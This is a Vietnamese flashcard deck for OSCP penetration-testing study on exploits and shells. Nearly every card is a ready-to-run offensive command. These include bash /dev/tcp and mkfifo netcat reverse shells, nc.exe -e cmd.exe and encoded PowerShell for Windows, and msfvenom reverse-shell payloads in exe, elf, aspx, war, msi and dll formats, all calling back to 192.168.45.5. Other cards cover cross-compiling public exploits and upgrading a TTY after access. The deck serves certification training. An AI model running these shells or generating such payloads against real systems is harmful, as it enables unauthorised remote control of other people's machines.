Exploit và shell

13 cards

Review this deck
All cards in this deck

Tìm exploit

`searchsploit <tên> <phiên bản>`; chép về thư mục làm việc bằng `searchsploit -m <id>`

Trước khi chạy exploit công khai

đọc hết code; sửa IP, cổng, URL, đường dẫn, payload shellcode; kiểm Python 2 hay 3 và thư viện cần có

Biên dịch chéo cho Windows

`x86_64-w64-mingw32-gcc exploit.c -o exploit.exe` (32-bit dùng `i686-w64-mingw32-gcc`; thêm `-lws2_32` nếu code dùng Winsock)

Listener

`rlwrap nc -lvnp 443`; chọn cổng hay được cho ra ngoài (80, 443, 53) khi cổng lạ bị chặn

Reverse shell bash

`bash -c 'bash -i >& /dev/tcp/192.168.45.5/443 0>&1'`; chèn qua URL thì phải URL-encode

Reverse shell netcat không có -e

`rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.45.5 443 > /tmp/f`

Reverse shell Windows

upload `nc.exe` rồi `nc.exe 192.168.45.5 443 -e cmd.exe`, hoặc dùng PowerShell one-liner mã hoá base64 (`powershell -e <base64 UTF-16LE>`)

msfvenom cho Windows

`msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.5 LPORT=443 -f exe -o rev.exe`

msfvenom cho Linux

`msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.45.5 LPORT=443 -f elf -o rev.elf`

msfvenom định dạng khác

`-f aspx` (IIS), `-f war` (Tomcat, payload `java/jsp_shell_reverse_tcp`), `-f msi` (AlwaysInstallElevated), `-f dll` (DLL hijacking)

Staged và stageless

`shell_reverse_tcp` (gạch dưới, stageless) bắt được bằng `nc`; `shell/reverse_tcp` (gạch chéo, staged) cần `multi/handler`

Nâng cấp TTY trên Linux

`python3 -c 'import pty;pty.spawn("/bin/bash")'` → Ctrl+Z → `stty raw -echo; fg` → `export TERM=xterm`

Shell không về

kiểm IP `tun0`, thử cổng 80/443, kiểm kiến trúc payload (x86 hay x64), thử payload khác loại, xác nhận có RCE bằng `ping` hoặc `curl` về Kali trước

Exploit và shell – Flashcards – OSCP | Học Dev